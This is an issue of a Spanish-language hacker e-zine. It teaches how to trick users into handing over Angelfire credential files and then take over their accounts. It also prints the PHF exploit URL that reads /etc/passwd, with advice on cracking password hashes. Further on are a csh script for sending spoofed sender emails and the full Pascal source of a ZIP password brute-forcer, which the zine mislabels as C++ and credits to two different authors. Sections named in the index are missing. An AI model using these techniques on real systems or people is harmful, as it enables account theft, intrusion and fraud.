HTTP://WWW.SUAMY.COM.AR
HTTP://WWW.PSICOKILLER.8K.COM
HTTP://WWW.AZMODAN.8M.COM
===========================
=PSICOKILLER MAGAZINE Nº4 =
===========================
(NO NOS HACEMOS RESPONSABLES DEL MAL USO DE ESTA INFORMACIÓN
ESTA INFORMACIÓN SE OTORGA POR EL SOLO HECHO DE INFORMAR, PERO NO INTENTEN HACER NADA DE
LO QUE DICE ACÁ (jajja cualquiera!!!)
INTRODUCCIÓN:
¨¨¨¨¨¨¨¨¨¨¨¨¨
Debido a un pequeño problema en el team vmos a cambiar el puto nombre, va, me parece que
la voy a hacer solo, yo, Psicokiller jeje (el nombre), pero la revista va a seguir siendo
la misma, es mas, va a tener mejor calidá, así q' lean, lean y no paren de leer.
INDICE:
¨¨¨¨¨¨¨
.Abajo las páginas de angelfire
.Hackear páginas (mmmmmmmmm)
.Hackeando los mails
.Crackeame el zip vieja!
.Ping de la muerte
.Putas PC's con llave de mierda
=*=*=*=*==*=*=*=*=*=*=*=*=*=*=*=*=*=*=*==*=*=*=*=*=*=*==*=*==*=*=*=*=*=*=*=*=*
MUEREEEEEEE!!!! ANGELFIRE!!!!!
==============================
Lo primero que debes de saber es que la contraseña y el nombre de usuario
de todos los usuarios de este sistema se puede ver a traves de una pagina
que te sale nada mas entrar con el nombre de usuario (login) y contraseña,
este archivo se llama BEDIT.HTML en donde se encuentra el password y el
nombre de usuario. El susodicho archivo se parece mas o menos a esto:
<font color=teal>Tu Pagina <a
href="http://www.angelfire.com/pa/kalimotxo1/index.html">
http://www.angelfire.com/pa/KALIMOTXO/index.html </a>
has been saved.<br>You may have to click Reload or Super-Reload (Shift+Reload) to
see your edited page and not your old version when you go to your URL.<br>You
can also announce your new page on <a
href="http://homepages.whowhere.com/bin/showpage.pl?add">WhoWhere?</a>,
<a href="http://newtoo.manifest.com/">
<u>What's New Too!</u></a>, or if you really want to get noticed, go to
<a href="http://www.submit-it.com/"><u>Submit
It!</u></a><br>Tune up
your Web Site at the <a
href="http://www.angelfire.com/cgi-bin/ct?ad=websitegarage&vp=/index.clicked&ru=http://www.websitegarage.com/whowhere">Web
Site Garage</a>.</font>
</td></tr></table></center>
<form select method="post"
action="http://www.angelfire.com/cgi-bin/bedit">
<input type="hidden" name="storage"
value="pa"> <:::::::::Nombre del directorio.
<input type="hidden" name="hpd"
value="kalimotxo">
<input type="hidden" name="password"
value="kalimotxo1"> <::La contraseña
Verdad que no ha sido dificil encontrar donde se encuentra situado la
contraseña en el archivo??pos bueno, el nombre de usuario es aun mas facil
en este caso el nombre de usuario es "kalimotxo1", siempre sera la palabra
que viene despues del directorio (la palabra de dos letras).
Ej: http://www.angelfire.com/**/nombredelusuario/
**= nombre del directorio.
Pasos a seguir:
-Consigue que algun boludon te pase su BEDIT.HTML para esto utiliza la
imaginacion y la ingenieria social.
-Cuando el muy pelotudo te haya pasado el archivo saca la informacion que
necesitas.
-Otra cosa que debes hacer es visualizar el BEDIT.HTML del pelotudo en tu
disco duro y pinchar en lo de cambiar el e-mail (pon uno anonimo gratuito
pe: el hotmail).
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Hackear páginas (mmmmmmmmm)
===========================
Lo primero es lo primero, que es buscar un objetivo que merezca la pena,
para este truco debera ser un servidor con poca (casi nula) seguridad.
Ahora deberas conectarte via telnet o ftp a su servidor de ftp de forma
anonima, y en el directorio "ETC" tienes un archivo que se llama
"passwd" que deberas de pillar. Otra manera es el truco del phf, el cual
ya
no funciona en mas del 95% de los servidores de internet, es mas, en
algunos como Sony te mandaran una bomba de Netscape (no hace na de gracia),
para usar el truco del phf escribe esta direccion en el navegador:
http://www.servidor.es/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
(cambia servidor.es por lo que corresponda).
Entonces ya tienes el archivo de contraseñas, lo siguiente es investigarlo:
posiblemente te encuentres un archivo sin cuentas de usuarios, pero
un archivo solo con cuentas por defecto, en las cuales la contraseña encriptada
sera * . En algunos servidores el * significara que tienes un archivo con
contraseñas shadowed (sombreadas), pero en las cuentas que son por defecto
(NEWS, FTP, GUEST, etc...) si te encuentras como contraseña * es que no
tienen contraseña y ha sido reemplazado por *. Si has encontrado esto,
has encontrado un passwd "fixed" y necesitaras usar otro modo para hackear
este servidor. Bueno, partimos de la base de3 que has encontrado cuentas
en el passwd de las buenas con contraseña encriptada, que son los que se
parecen mas o menos a esto:
lina:li16uG4bdxujM:544:100::/wd/home/lina:/bin/bash
De esto con lo que nos quedamos es con: lina y con li16uG4bdxujM
estos dos elementos son el login y el password, si te das cuentas la
contraseña encriptada empieza siempre pos dos caracteres Ascii, que son
las dos primeras letras del password, en muchos casos si empieza como
el login es posible que la contraseña sea la misma que el login (en el
ejemplo pasa esto), pero esto es solo una suposicion y no siempre pasa,
asi que lo que tienes que pillar es un programa como el John DeRipper
(Es el mejor en su genero) para desencriptar las contraseñas (Lo teneis
en mi web). Para ver todos los comandos de este programa en el prompt del
dos escribe "john" y los veras todos (De todas formas a ver si me animo y
traduzco sus instrucciones).
[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]
Hackeando los mails
===================
Antes que nada , que es para ti hackear ? Yo no lo se con
exactitud , pero te puedo decir que ahora explicaremos como y
porque se puede hackear un correo electronico
...
Para comenzar , para poder mandar/recibir correo , la maquina
receptora/mandadora de este correo debe tener corriendo un
demonio administrador de mensajes , que en el caso de unix se
trata del demonio del sendmail , el cual tiene muchas versiones
distintas , pero trabajan en
forma similar .
Todo demonio corre por algun puerto de esta maquina
susodicha , y este demonio corre exactamente por la puerta 25 .
Si te conectas en forma directa por un telnet a esta puerta ,
podras ver que quedas suspendido dentro del demonio , lo que te
permite mandar un mensaje , como lo hago
?? .
Fácil , primero debes tipear el comando helo , para que el
sendmail te reconozca , y luego le mandas los datos del receptor ,
tipeando
rcpt to:user@host.domain .
Luego , tipeas el mandante del mail asi como sigue , mail from:
desde@host.domain .
Ahora , solo pones el comando DATA , y a ponerse a escribir se
ha dicho !!! .
Para terminar el modo texto , solo terminas con un "." , y luego
colocas quit .
En todo caso , aquí les hago entrega del script (utilizable en unix)
------------------------- cut here ------------------------
#! /bin/csh -f
# version 1.0 by Psicokiller
clear
echo
'*************************************************************************'
echo '* m a i l h a c k *'
echo
'*************************************************************************'
echo ' '
echo 'by Psicokiller, El capo . '
echo 'email: sk8@uol.com.ar '
echo ' '
echo -n 'Dame el login de la persona que recibira el mail: '
set ulog=$<
echo -n 'Dame el nombre de la maquina de la persona: '
set uhost=$<
# dejo en la variable hlog el user hacked
echo -n 'Dame el login facked que quieres usar: '
set hlog=$<
# dejo en la variable hackhost el faked host
echo -n 'Dame la faked maquina a usar en el mail: '
set hackhost=$<
# dejo en usehost el servidor de mails al que nos conectaremos
echo -n 'A que host conectamos (se recomienda localhost)?: '
set usehost=$<
# dejo en editor el editor que usaremos para escribir el cuerpo del
# mail , default : vi
echo -n 'Que editor vamos a usar para editar el mail(return para vi)? '
set editor=$<
if($editor =="") then
set editor=vi
endif
# dejo todas nuestras variables en un archivo llamado mailhack
echo 'HELO' >> mailhack
echo 'Mail from: '$hlog@$hackhost >> mailhack
echo 'RCPT to: '$ulog@$uhost >> mailhack
echo 'DATA' >> mailhack
# edito el cuerpo del articulo (mhack)
$editor mhack
# limpio la pantalla y pregunto si esta' seguro o no de mandar el mail.
clear
echo -n ' Are you sure ? (y/n) '
set yorn=$<
# si esta' seguro (yorn=y) pone un punto y un quit en el archivo del mail
if($yorn == 'y') then
echo . >> mhack
echo quit >> mhack
cat mhack >> mailhack
# me conecto al port del servidor de mails y le dejo mi hackmail
telnet $usehost 25 < mailhack > /dev/null
endif
# borro mis 2 archivos de hackeo
rm mhack mailhack
---------------------- cut here -------------------------
******************************************************************************
Crackeame el zip vieja!
=======================
Este es un programa para c++ q' crackea zip's
---------------cut here--------------
program zipcrack;
{$M 16384, 0, 65536}
{-----------------------------------------------------------------------}
{
}
{ Program ZIPCRACK Copyright 1993 by Psicokiller }
{
}
{ Brute force attack on PKZIP V2 encryption. }
{ Based on the APPNOTE.TXT distributed with the registered version }
{ of PKZIP
2.04g. }
{
}
{ Method: Generate all possible passwords; invoke PKUNZIP -t (test) }
{ option to test each
password. }
{
}
{ Input: Minimum and maximum password lengths, password character set, }
{ Zipfile name, name of file to extract. }
{
}
{ Options: Interval to save last password attempted; this allows the }
{ program to be
restarted. }
{
}
{ Performance improvements: placing PKUNZIP and the Zipfile on a RAM }
{ disk will improve speed. Increasing the 'save' interval will also }
{ increase speed. Making the current directory a RAM disk is _NOT_ }
{ recommended, since a crash (power hit, etc.) will lose the saved }
{ 'last password' and you will have to restart from scratch. }
{
}
{-----------------------------------------------------------------------}
uses
DOS,
CRT;
const
SaveFN = 'ZIPCRACK.$$$'; { Save file name }
WorkDir = '\ZIPCRACK'; { Work Subdirectory }
MAXPW = 256; { Max Password Length }
MAXBUF = 32768; { Max buffer length }
K0 = 305419896; { Zipfile Encryption Initializer}
K1 = 591751049; { Zipfile Encryption Initializer}
K2 = 878082192; { Zipfile Encryption Initializer}
ZIPHDRSIG = $04034B50; { Zip Local Header Signature }
ZDHDRSIG = $02014B50; { Zip Directory Header Signature}
ZDENDSIG = $06054B50; { Zip Directory End Signature }
const
CrcTab : array [0..255] of LongInt =
(
$00000000, $77073096, $EE0E612C, $990951BA,
$076DC419, $706AF48F, $E963A535, $9E6495A3,
$0EDB8832, $79DCB8A4, $E0D5E91E, $97D2D988,
$09B64C2B, $7EB17CBD, $E7B82D07, $90BF1D91,
$1DB71064, $6AB020F2, $F3B97148, $84BE41DE,
$1ADAD47D, $6DDDE4EB, $F4D4B551, $83D385C7,
$136C9856, $646BA8C0, $FD62F97A, $8A65C9EC,
$14015C4F, $63066CD9, $FA0F3D63, $8D080DF5,
$3B6E20C8, $4C69105E, $D56041E4, $A2677172,
$3C03E4D1, $4B04D447, $D20D85FD, $A50AB56B,
$35B5A8FA, $42B2986C, $DBBBC9D6, $ACBCF940,
$32D86CE3, $45DF5C75, $DCD60DCF, $ABD13D59,
$26D930AC, $51DE003A, $C8D75180, $BFD06116,
$21B4F4B5, $56B3C423, $CFBA9599, $B8BDA50F,
$2802B89E, $5F058808, $C60CD9B2, $B10BE924,
$2F6F7C87, $58684C11, $C1611DAB, $B6662D3D,
$76DC4190, $01DB7106, $98D220BC, $EFD5102A,
$71B18589, $06B6B51F, $9FBFE4A5, $E8B8D433,
$7807C9A2, $0F00F934, $9609A88E, $E10E9818,
$7F6A0DBB, $086D3D2D, $91646C97, $E6635C01,
$6B6B51F4, $1C6C6162, $856530D8, $F262004E,
$6C0695ED, $1B01A57B, $8208F4C1, $F50FC457,
$65B0D9C6, $12B7E950, $8BBEB8EA, $FCB9887C,
$62DD1DDF, $15DA2D49, $8CD37CF3, $FBD44C65,
$4DB26158, $3AB551CE, $A3BC0074, $D4BB30E2,
$4ADFA541, $3DD895D7, $A4D1C46D, $D3D6F4FB,
$4369E96A, $346ED9FC, $AD678846, $DA60B8D0,
$44042D73, $33031DE5, $AA0A4C5F, $DD0D7CC9,
$5005713C, $270241AA, $BE0B1010, $C90C2086,
$5768B525, $206F85B3, $B966D409, $CE61E49F,
$5EDEF90E, $29D9C998, $B0D09822, $C7D7A8B4,
$59B33D17, $2EB40D81, $B7BD5C3B, $C0BA6CAD,
$EDB88320, $9ABFB3B6, $03B6E20C, $74B1D29A,
$EAD54739, $9DD277AF, $04DB2615, $73DC1683,
$E3630B12, $94643B84, $0D6D6A3E, $7A6A5AA8,
$E40ECF0B, $9309FF9D, $0A00AE27, $7D079EB1,
$F00F9344, $8708A3D2, $1E01F268, $6906C2FE,
$F762575D, $806567CB, $196C3671, $6E6B06E7,
$FED41B76, $89D32BE0, $10DA7A5A, $67DD4ACC,
$F9B9DF6F, $8EBEEFF9, $17B7BE43, $60B08ED5,
$D6D6A3E8, $A1D1937E, $38D8C2C4, $4FDFF252,
$D1BB67F1, $A6BC5767, $3FB506DD, $48B2364B,
$D80D2BDA, $AF0A1B4C, $36034AF6, $41047A60,
$DF60EFC3, $A867DF55, $316E8EEF, $4669BE79,
$CB61B38C, $BC66831A, $256FD2A0, $5268E236,
$CC0C7795, $BB0B4703, $220216B9, $5505262F,
$C5BA3BBE, $B2BD0B28, $2BB45A92, $5CB36A04,
$C2D7FFA7, $B5D0CF31, $2CD99E8B, $5BDEAE1D,
$9B64C2B0, $EC63F226, $756AA39C, $026D930A,
$9C0906A9, $EB0E363F, $72076785, $05005713,
$95BF4A82, $E2B87A14, $7BB12BAE, $0CB61B38,
$92D28E9B, $E5D5BE0D, $7CDCEFB7, $0BDBDF21,
$86D3D2D4, $F1D4E242, $68DDB3F8, $1FDA836E,
$81BE16CD, $F6B9265B, $6FB077E1, $18B74777,
$88085AE6, $FF0F6A70, $66063BCA, $11010B5C,
$8F659EFF, $F862AE69, $616BFFD3, $166CCF45,
$A00AE278, $D70DD2EE, $4E048354, $3903B3C2,
$A7672661, $D06016F7, $4969474D, $3E6E77DB,
$AED16A4A, $D9D65ADC, $40DF0B66, $37D83BF0,
$A9BCAE53, $DEBB9EC5, $47B2CF7F, $30B5FFE9,
$BDBDF21C, $CABAC28A, $53B39330, $24B4A3A6,
$BAD03605, $CDD70693, $54DE5729, $23D967BF,
$B3667A2E, $C4614AB8, $5D681B02, $2A6F2B94,
$B40BBE37, $C30C8EA1, $5A05DF1B, $2D02EF8D
);
type
CopyBufT = array [1..MAXBUF] of char;{ Copy Buffer }
CopyBufTP = ^COpyBufT; { Ptr to Copy Buffer }
Buf12T = array [0..11] of Char; { 12-byte
buffer }
SetOfCharT = Set of Char; { Set of characters }
CharArrayT = Array [0..255] of Char; { List of characters }
CharSetT = record { Character Set for Zip PW }
n : 0..256; { ..# of chars in the set }
c : CharArrayT; { ..List of PW chars }
s : SetOfCharT; { ..PW chars in set format }
end;
ZipHdrT = record { Zip File
Header }
Sig : LongInt; { ..Signature }
VerReqd : Word; { ..Version reqd to unzip }
BitFlag : Word; { ..Bit Flag }
Method : Word; { ..Compress Method }
LModTime: Word; { ..Last Mod Time }
LModDate: Word; { ..Last Mod Date }
CRC32 : LongInt; { ..File CRC }
CmpSize : LongInt; { ..Compressed Size }
UncmpSz : LongInt; { ..Uncompressed Size }
FNLen : Word; { ..File Name Length }
EFLen : Word; { ..Extra Field Length }
end;
ZDHdrT = Record { Directory File Header }
Sig : LongInt; { ..Signature }
Version : Word; { ..Version made by }
VerReqd : Word; { ..Version reqd to extract }
BitFlag : Word; { ..Bit Flag }
Method : Word; { ..Compression Method }
LModTime: Word; { ..Last Mod time }
LModDate: Word; { ..Last Mod Date }
CRC32 : LongInt; { ..CRC or 0 }
CmpSize : LongInt; { ..Compressed Size }
UncmpSz : LongInt; { ..Uncompressed Size }
FNLen : Word; { ..File Name Length }
EFLen : Word; { ..Extra Field Length }
FCLen : Word; { ..File Comment Length }
DiskNo : Word; { ..Starting Disk Number }
IFAttr : Word; { ..Internal File Attributes}
EFAttr : LongInt; { ..External File Attributes}
LHOff : LongInt; { ..Offset of local header }
end;
ZDEndT = Record { Directory End Record }
Sig : LongInt; { ..Signature }
DiskNo : Word; { ..Number of this disk }
ZDDisk : Word; { ..Disk w/ start of dir }
ZDETD : Word; { ..Dir ents this disk }
ZDEnts : Word; { ..Total dir ents }
ZDSize : LongInt; { ..Dir size }
ZDStart : LongInt; { ..Offset to start of Dir }
CmtLen : Word; { ..Zip Comment Length }
end;
var PkunzipPath : String; { Path & File name for PKUNZIP }
ZipfilePath : String; { Path & File name for Zipfile }
ZipfileName : String; { File name for Zipfile }
RamPath : String; { Path on RAM Drive }
MemberName : String; { Zipfile Member Name }
MinPWLen : Integer; { Minimum password length }
MaxPWLen : Integer; { Maximum password length }
PWCharSet : CharSetT; { Password character set }
PWSaveInt : LongInt; { Password Save Interval }
UseRamDisk : Boolean; { Use RAM Disk? }
RamDrive : Char; { Ram Disk Drive Letter }
NextPW : array [1..MAXPW] of Byte;{ Next password to try }
rc : Integer;
PWLen : Integer;
PW : String;
Key0 : LongInt; { Zip Encryption Key 0 }
Key1 : LongInt; { Zip Encryption Key 1 }
Key2 : LongInt; { Zip Encryption Key 2 }
ZipBuf : Buf12T; { Zip Encryption Buffer }
ZipFile : File;
ZDEnd : ZDEndT; { Zip Directory End Record }
ZDHdr : ZDHdrT; { Zip Directory Header Record }
ZipHdr : ZipHdrT; { Zip Local Header Record }
Ok : Boolean;
function crc32(crc : LongInt; c : Char) : LongInt;
begin
crc32 := ((crc shr 8) and $00FFFFFF) xor CrcTab[(Ord(c) xor (crc and $00FF))
and $00FF];
end;
procedure ZipPWUpdateKeys(C : Char);
begin
Key0 := crc32(Key0, C);
Key1 := Key1 + (Key0 and $000000FF);
Key1 := Key1 * 134775813 + 1;
Key2 := crc32(Key2, Chr((Key1 shr 24) and $000000FF));
end;
function ZipPWDecryptByte : Char;
var Temp : Word;
begin
Temp := (Key2 or 2) and $0000FFFF;
ZipPWDecryptByte := Chr(((Temp * (Temp xor 1)) shr 8) and $00FF);
end;
procedure ZipPWInitKeys(PW : String);
var n : Integer;
begin
Key0 := K0;
Key1 := K1;
Key2 := K2;
for n := 1 to Length(PW) do ZipPWUpdateKeys(PW[n]);
end;
procedure ZipPWUpdateBuf(var Buf : Buf12T);
var i : Integer;
c : Char;
begin
for i := 0 to 11 do begin
c := Chr(Ord(Buf[i]) xor Ord(ZipPWDecryptByte));
ZipPWUpdateKeys(c);
Buf[i] := c;
end;
end;
function ZipPWCheck(PW : String; Buf : Buf12T; crc : LongInt) : Boolean;
begin
ZipPWInitKeys(PW);
ZipPWUpdateBuf(Buf);
ZipPWCheck := Ord(Buf[11]) = ((crc shr 24) and $000000FF);
end;
function ZipOpen(var F : File; Name : String; var ZDEnd : ZDEndT) : Boolean;
var FMSave : Word;
SeekPos : LongInt;
begin
if Pos('.', Name) = 0 then Name := Name + '.ZIP';
Assign(F, Name);
FMSave := FileMode;
FileMode := 0;
{$I-} Reset(F, 1); {$I+}
FileMode := FMSave;
if IOResult <> 0 then begin
WriteLn(Name, ': Cannot open file');
ZipOpen := FALSE;
Exit;
end;
SeekPos := FileSize(F) - sizeof(ZDEnd) + 1;
while TRUE do begin
if SeekPos <= 0 then begin
WriteLn(Name, ': Cannot find ZIP Directory');
Close(F);
ZipOpen := FALSE;
Exit;
end;
Dec(SeekPos);
Seek(F, SeekPos);
BlockRead(F, ZDEnd, sizeof(ZDEnd));
if ZDEnd.Sig = ZDENDSIG then begin
ZipOpen := TRUE;
Exit;
end;
end;
end;
function ZipFindZDHdr(var F : File; Name : String; var ZDEnd : ZDEndT; var ZDHdr :
ZDHdrT) : Boolean;
var n : Word;
SeekPos : LongInt;
Buf : String;
FNLen : Integer;
i : Integer;
begin
FNLen := Length(Name);
Buf[0] := Chr(FNLen);
for i := 1 to FNLen do Name[i] := UpCase(Name[i]);
SeekPos := ZDEnd.ZDStart;
for n := 1 to ZDEnd.ZDEnts do begin
Seek(F, SeekPos);
BlockRead(F, ZDHdr, sizeof(ZDHdr));
if ZDHdr.FNLen = FNLen then begin
BlockRead(F, Buf[1], FNLen);
for i := 1 to FNLen do Buf[i] := UpCase(Buf[i]);
if Name = Buf then begin
ZipFindZDHdr := TRUE;
Exit;
end;
end;
SeekPos := SeekPos + sizeof(ZDHdr) + ZDHdr.FNLen + ZDHdr.EFLen + ZDHdr.FCLen;
end;
ZipFindZDHdr := FALSE;
end;
function ZipFindFile(var F : File; Name : String; var ZDEnd : ZDEndT; var ZDHdr :
ZDHdrT; var ZipHdr : ZipHdrT) : Boolean;
var Ok : Boolean;
begin
Ok := ZipFindZDHdr(F, Name, ZDEnd, ZDHdr);
if not Ok then begin
ZipFindFile := FALSE;
Exit;
end;
Seek(F, ZDHdr.LHOff);
BlockRead(F, ZipHdr, sizeof(ZipHdr));
Seek(F, ZDHdr.LHOff + sizeof(ZipHdr) + ZipHdr.FNLen + ZipHdr.EFLen);
ZipFindFile := TRUE;
end;
procedure AddCharToCharSet(var SC : CharSetT; c : Char);
begin
if SC.n = 0 then SC.s := [];
if not (c in SC.s) then begin
SC.c[SC.n] := c;
SC.s := SC.s + [c];
inc(SC.n);
end;
end;
procedure AddStringToCharSet(var SC : CharSetT; S : String);
var n : Integer;
begin
for n := 1 to length(S) do AddCharToCharSet(SC, S[n]);
end;
procedure AddSetToCharSet(var SC : CharSetT; S : SetOfCharT);
var n : Integer;
begin
for n := 0 to 255 do begin
if Chr(n) in S then AddCharToCharSet(SC, Chr(n));
end;
end;
function PromptChar(p : String; r : String) : Char;
var K : Char;
S : String;
Done : Boolean;
begin
Done := FALSE;
while not Done do begin
Write(p, '? ');
ReadLn(S);
if length(s) = 0 then K := #$00
else K := S[1];
if Pos(K, r) <> 0 then Done := TRUE
else WriteLn('Enter one of: ', r);
end;
PromptChar := K;
end;
function PromptString(p : String) : String;
var S : String;
begin
Write(p, '? ');
ReadLn(S);
PromptString := S;
end;
function PromptNumber(p : String; Min, Max : LongInt) : LongInt;
var S : String;
Code : Integer;
R : LongInt;
Done : Boolean;
begin
Done := FALSE;
while not Done do begin
S := PromptString(p);
val(S, R, Code);
if (Code <> 0) or (R < Min) or (R > Max) then
WriteLn('Enter an integer from ', Min, ' to ', Max)
else Done := TRUE;
end;
PromptNumber := R;
end;
procedure PromptCharSet(p : String; var SC : CharSetT);
var K : Char;
begin
SC.n := 0;
WriteLn(p, ':');
K := PromptChar(' Lower case letters [a..z]', 'YyNn');
if UpCase(K) = 'Y' then AddSetToCharSet(SC, ['a'..'z']);
K := PromptChar(' Upper case letters [A..Z]', 'YyNn');
if UpCase(K) = 'Y' then AddSetToCharSet(SC, ['A'..'Z']);
K := PromptChar(' Digits [0..9]', 'YyNn');
if UpCase(K) = 'Y' then AddSetToCharSet(SC, ['0'..'9']);
K := PromptChar(' Blank', 'YyNn');
if UpCase(K) = 'Y' then AddStringToCharSet(SC, ' ');
K := PromptChar(' Punctuation and special characters', 'YyNn');
if UpCase(K) = 'Y' then AddStringToCharSet(SC,
'`~!@#$%^&*()_-+=[{]}\|;:",<.>/?''');
end;
function PromptFilename(p : String; ext : String; path : String) : String;
var fn : String;
fn2 : String;
Done : Boolean;
i : Integer;
begin
Done := FALSE;
while not DONE do begin
fn := PromptString(p);
if pos('.', fn) = 0 then fn := fn + '.' + ext;
for i:=1 to length(fn) do fn[i] := UpCase(fn[i]);
fn2 := FSearch(fn, path);
if fn2 = '' then WriteLn('Unable to locate ', fn)
else Done := TRUE;
end;
fn := FExpand(fn2);
for i:=1 to length(fn) do fn[i] := UpCase(fn[i]);
PromptFilename := fn;
end;
function GetRestartData : Boolean;
var Key : Char;
SaveF : File;
begin
FillChar(NextPW, MAXPW, 0);
MinPWLen := 0;
MaxPWLen := 0;
PWCharSet.n := 0;
PWLen := 0;
GetRestartData := FALSE;
if (FSearch(SaveFN, '') <> '') then begin
Key := PromptChar('Restart from last password', 'YyNn');
if upcase(Key) = 'Y' then begin
Assign(SaveF, SaveFN);
FileMode := 0;
Reset(SaveF, 1);
FileMode := 2;
BlockRead(SaveF, MinPWLen, sizeof(MinPWLen));
BlockRead(SaveF, MaxPWLen, sizeof(MaxPWLen));
BlockRead(SaveF, PWCharSet, sizeof(PWCharSet));
BlockRead(SaveF, PWLen, sizeof(PWLen));
BlockRead(SaveF, NextPW, sizeof(NextPW));
Close(SaveF);
GetRestartData := TRUE;
end;
end;
end;
function ExecPkunzip(cmdline : String) : Integer;
begin
SwapVectors;
Exec(PkunzipPath, cmdline);
SwapVectors;
if DosError <> 0 then begin
WriteLn('DOS Error ', DosError, ' executing ', PkunzipPath);
Halt(3);
end;
ExecPkunzip := DosExitCode;
end;
procedure GetInput;
var Key : Char;
D : DirStr;
N : NameStr;
E : ExtStr;
Done : Boolean;
rc : Integer;
begin
if not GetRestartData then begin
MinPWLen := PromptNumber('Minimum password length', 1, MAXPW);
if MinPWLen = MAXPW then MaxPWLen := MAXPW
else MaxPWLen := PromptNumber('Maximum password length', MinPWLen, MAXPW);
PromptCharSet('Password character set', PWCharSet);
if PWCharSet.n = 0 then begin
WriteLn('No characters in password character set!');
Halt(3);
end;
end;
PWSaveInt := PromptNumber('Password save interval', 0, 1000000);
Key := PromptChar('Use RAM Disk', 'YyNn');
if UpCase(Key) <> 'Y' then UseRamDisk := FALSE
else begin
UseRamDisk := TRUE;
Key := PromptChar('RAM Disk drive letter',
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
RamDrive := UpCase(Key);
RamPath := RamDrive + ':' + WorkDir;
end;
PkunzipPath := FSearch('PKUNZIP.EXE', GetEnv('PATH'));
if PkunzipPath <> '' then PkunzipPath := FExpand(PkunzipPath)
else PkunzipPath := PromptFilename('PKUNZIP file name', 'EXE', GetEnv('PATH'));
ZipfilePath := PromptFilename('Zip file name', 'ZIP', '');
FSplit(ZipfilePath, D, N, E);
ZipfileName := N + E;
Done := FALSE;
while not Done do begin
MemberName := PromptString('File to crack');
rc := ExecPkunzip('-# -v ' + ZipfilePath + ' ' + MemberName);
if rc <> 0 then WriteLn('Unable to locate ', MemberName, ' in ', ZipfilePath)
else Done := TRUE;
end;
end;
function CopyFile(FromFile, ToFile : String) : Boolean;
var pBuf : CopyBufTP;
FromF : File;
ToF : File;
Count : Word;
Written : Word;
begin
{$I-}
Assign(FromF, FromFile);
FileMode := 0;
Reset(FromF, 1);
FileMode := 2;
if IOResult <> 0 then begin
CopyFile := FALSE;
Exit;
end;
Assign(ToF, ToFile);
Rewrite(ToF, 1);
if IOResult <> 0 then begin
Close(FromF);
CopyFile := FALSE;
Exit;
end;
{$I+}
New(pBuf);
repeat
BlockRead(FromF, pBuf^, MAXBUF, Count);
BlockWrite(ToF, pBuf^, Count, Written);
if Written <> Count then begin
Close(FromF);
Close(ToF);
CopyFile := FALSE;
Dispose(pBuf);
Exit;
end;
until Count = 0;
Dispose(pBuf);
Close(FromF);
Close(ToF);
CopyFile := TRUE;
end;
procedure SavePW;
var SaveF : File;
begin
Assign(SaveF, SaveFN);
Rewrite(SaveF, 1);
BlockWrite(SaveF, MinPWLen, sizeof(MinPWLen));
BlockWrite(SaveF, MaxPWLen, sizeof(MaxPWLen));
BlockWrite(SaveF, PWCharSet, sizeof(PWCharSet));
BlockWrite(SaveF, PWLen, sizeof(PWLen));
BlockWrite(SaveF, NextPW, sizeof(NextPW));
Close(SaveF);
end;
function IncPW : Boolean;
var n : Integer;
begin
n := PWLen;
while TRUE do begin
if n = 0 then begin
IncPW := FALSE;
Exit;
end;
inc(NextPW[n]);
if NextPW[n] < PWCharSet.n then break
else NextPW[n] := 0;
dec(n);
end;
IncPW := TRUE;
end;
procedure BuildPW(Escape : Boolean);
var n : Integer;
m : Integer;
c : Char;
begin
PW[0] := Chr(PWLen);
m := 1;
for n := 1 to PWLen do begin
c := PWCharSet.c[NextPW[n]];
if Escape and ((c = '"') or (c = '\')) then begin
PW[m] := '\';
inc(m);
inc(PW[0]);
end;
PW[m] := c;
inc(m);
end;
end;
function CheckAllPWs : Boolean;
var NextSave : LongInt;
Ok : Boolean;
begin
NextSave := 1;
while TRUE do begin
if NextSave <> 0 then begin
if NextSave <> 1 then dec(NextSave)
else begin
SavePW;
NextSave := PWSaveInt;
end;
end;
BuildPW(FALSE);
Ok := ZipPWCheck(PW, ZipBuf, ZDHdr.Crc32);
if Ok then begin
BuildPW(TRUE);
rc := ExecPkunzip('-# -t -s"' + PW + '" ' + ZipfilePath + ' ' +
MemberName);
if rc = 0 then begin
CheckAllPWs := TRUE;
Exit;
end;
end;
Ok := IncPW;
if not Ok then begin
CheckAllPWs := FALSE;
Exit;
end;
end;
end;
begin
WriteLn('ZipCrack v1.0 Copyright 1993 by Michael A. Quinlan');
GetInput;
if UseRamDisk then begin
{$I-} MkDir(RamPath); {$I+}
if IOResult <> 0 then
;
if not CopyFile(PkunzipPath, RamPath + '\PKUNZIP.EXE') then begin
WriteLn('Unable to copy ', PkunzipPath, ' to ', RamPath + '\PKUNZIP.EXE');
Exit;
end
else PkunzipPath := RamPath + '\PKUNZIP.EXE';
if not CopyFile(ZipfilePath, RamPath + '\' + ZipFilename) then begin
WriteLn('Unable to copy ', ZipfilePath, ' to ', RamPath + '\' + ZipFilename);
Exit;
end
else ZipfilePath := RamPath + '\' + ZipFilename;
end;
{ Validate that PKUNZIP, the Zipfile, and the member of the Zipfile are }
{ still
accessible.
}
rc := ExecPkunzip('-# -v ' + ZipfilePath + ' ' + MemberName);
if rc <> 0 then begin
WriteLn('Unable to locate ', MemberName, ' in ', ZipfilePath);
Halt(3);
end;
Ok := ZipOpen(ZipFile, ZipfilePath, ZDEnd);
if not Ok then Halt(3);
Ok := ZipFindFile(ZipFile, MemberName, ZDEnd, ZDHdr, ZIpHdr);
if not Ok then Halt(3);
BlockRead(ZipFile, ZipBuf, sizeof(ZipBuf));
if PWLen = 0 then PWLen := MinPWLen;
Writeln('Testing passwords...');
for PWLen := PWLen to MaxPWLen do begin
if CheckAllPWs then begin
Writeln('Password = "', PW, '"');
IncPW;
SavePW;
Halt(0);
end;
end;
WriteLn('Password not found!!!');
Halt(1);
end.
--------------------cut here-----------------
¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨
Bueno eso fue todo viejas, ta luego, este número....una cagada, el próximo mata.
Psicokiller.